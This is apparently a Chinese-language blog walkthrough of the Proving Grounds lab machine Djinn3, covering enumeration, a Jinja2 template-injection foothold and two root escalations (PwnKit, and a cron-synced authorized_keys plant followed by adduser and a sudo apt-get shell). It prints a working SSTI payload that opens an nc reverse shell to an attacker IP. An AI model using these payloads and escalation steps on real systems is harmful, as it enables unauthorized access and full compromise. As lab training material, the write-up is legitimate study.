Proving Grounds Play : Djinn3 Walkthrough

 Proving Grounds Play : Djinn3 Walkthrough


Foothold :

  • 發現沒有看過的建單系統,透過 nc 進去後發現可以輸入主旨與內容
  • 內容有 SSTI 漏洞利用,參考 hacktricks 後發現可用指令格式
  • 使用 RM 指令建立 Reverse Shell 成功登入

PE :

  • linpeas 發現 PwnKit,直接利用後成功 root

注意 :

  • 提權的另外一條路有幾個步驟
    • pspy64 後發現固定執行 script,利用該 script 去覆蓋使用者的 saint 的 authorized_keys
    • sanit 可以使用 adduser,新增一個隸屬 root group 的使用者去讀取 /etc/sudoers 檔案
    • 發現不存在的使用者 jason 可以 sudo 執行 apt-get(可用於提權)
    • 切換回 saint 後新增使用者 jason 然後切換到使用者 jason
    • 使用者 jason 使用 sudo apt-get 成功提權


Rustscan,└─$ rustscan -a 192.168.151.102 --scripts none --ulimit 5000 | tee rustscan



snmp check,└─$ sudo nmap -sU -p 161 192.168.151.102 | tee snmp



nmap,└─$ sudo nmap -sCV -A -p 22,80,5000,31337 192.168.151.102 | tee nmap



80 /



80 /robots.txt



gobuster 80 /



80 /images



gobuster /images



先暫時放棄 80 Port 繼續往下看 5000 Port

5000 /



5000 /?id=2792



5000 /?id=7723,獲得使用者名稱 Jack



5000 /?id=2984,獲得使用者名稱 jason、david、freddy


先 hydra 簡易組合帳號密碼檔爆破看看 --> 沒有好消息



31337 /,顯示驗證失敗



改用 nc 連線看看,跳出要我們輸入使用者

利用已知的使用者輸入後還要要求密碼,猜測常用密碼後都失敗



回頭測試 5000 port 的 gobuster 看來沒有任何結果



此時回頭看相關 ticket 時發現這個內容,有個帳號 guest 且不用密碼說要移除

但目前這個 ticket 還是 open 的狀態



明明說不用密碼,回頭測試時發現憑證是 guest:guest,成功連線進 31337 服務

看了一下 help 應該是開單系統



簡易測試了一番



發現在 31337 使用 open 建立的 Ticket 會顯示在 5000 Port 的網站



輸入的描述顯示在 Ticket ID 內容裡


從 nmap 的枚舉可以看到 31337 的服務看來是用 python 寫的



在網路上查找後發現這是一種 SSTI 的利用

參考 : https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#jinja2-python



測試看看 {{7*7}}



看來有作用



測試 command 看看



測試到這一個有作用 {{ cycler.__init__.__globals__.os.popen('id').read() }}



網站直接將 id 執行的結果顯示出來



接著就是依樣畫葫蘆,將執行的指令 id 置換即可,立馬換上最愛的 rm Reverse shell command

{{ cycler.__init__.__globals__.os.popen('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.168 4444 >/tmp/f').read() }}



點了 link 後 Reverse Shell 進來了,直接獲取第一階段 flag local.txt



開始 PE,cat /etc/passwd 獲得使用者 saint、jack、mzfr



一樣帳號密碼組合測試一下試試看,沒有好消息



cat /etc/crontab



sudo -l 要密碼先放棄,接著確認 SUID



linpeas 跑下去,第一個又出現了熟悉的 PwnKit



下載 Pwnkit 執行 Pwnkit 結果就 root 了,獲取 proof.txt




補充說明 :
看來 PwnKit 提權不是官方為這一台設計提權的路,看了 Write Up 後發現有另一條值得學習的路,所以將另一個方式記錄下來

在 /opt 路徑下有幾個有趣的檔案如下,因為設定為任何人都可執行所以非常特別
為了方便分析在該路徑下透過 pythone 啟動 HTTP Server 抓回 kali 分析看看



預設無法正常讀取



這些是 PYC 檔案,分析需要透過 uncompyle6 工具,先使用 pip3 安裝該工具
└─$ sudo pip3 install uncompyle6                                    




使用 └─$ uncompyle6 .configuration.cpython-38.pyc 可以看到人類易讀的內容了


主要分析內容在這一段
從這段程式碼中可以提取出三個主要內容:
  • 程式定義參數 files 去讀取 /home/saint 和 /tmp 目錄下以 .json 結尾的文件
  • 接下來,我們可以看到它只需要配置文件
  • 檔案名稱必須以日-月-年格式的日期開頭
  • 因此,檔案名稱以日期開頭並以 config.json 結尾
  • 例如,DD-MM-YYYY.config.json


接著看另外一個文件 .syncer.cpython-38.pyc,└─$ uncompyle6 .syncer.cpython-38.pyc
程式讀取/上傳由關鍵字 "URL" 指定的檔案
並將其儲存到使用 "Output" 參數指定的位置



根據對這兩個文件的分析,我們可以做出有根據的猜測
創建一個格式為 Day-Month-Year-config.json 的文件
例如 01–08–2024.config.json 並將其放置在某人的 authorized_keys 試試看
先建立一個簡單的 .json 文件
URL 定義叫它來 kali 下載 authorized_keys 然後存放到 saint 的 home 目錄底下




先建立一把 id_rsa


接著將檔案上傳到靶機的 /tmp 底下,因為它會去該路徑讀取日期開頭的 .config.json 檔


確定上傳到靶機的 /tmp 目錄下


等一會兒後自動來下載 authorized_keys,接著試著用自己產生的 id_rsa 登入使用者 saint 成功



sudo -l 發現可以使用指令 adduser 創建使用者
測試了一下無法創建 root 使用者,但可以創建屬於 root group 的使用者
讓我們創建一個使用者名稱 aries 密碼 Oscp#1234 然後隸屬 root group,使用參數 --gid 0
sudo /usr/sbin/adduser aries --gid 0
然後切換到使用者 aries



經過一番枚舉後發現使用者 jason 可以執行 /usr/bin/apt-get
參考 GTFO 發現該指令可以 sudo 提權


前面枚舉時在 /etc/passwd 裡面並沒有看到使用者 jason
所以看來就是要我們自己創建這個使用者,一樣切換回 saint 後新增使用者 jason
sudo /usr/sbin/adduser jason 然後密碼一樣用 Oscp#1234
然後 su jason 切換成使用者 jason



參考 GTFO POC 使用 (c) sudo /usr/bin/apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
成功提權為 root,也可以順利讀取 proof.txt




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

濫用 Windows 庫文件(Library File)

Challenge 0 - Secura(1)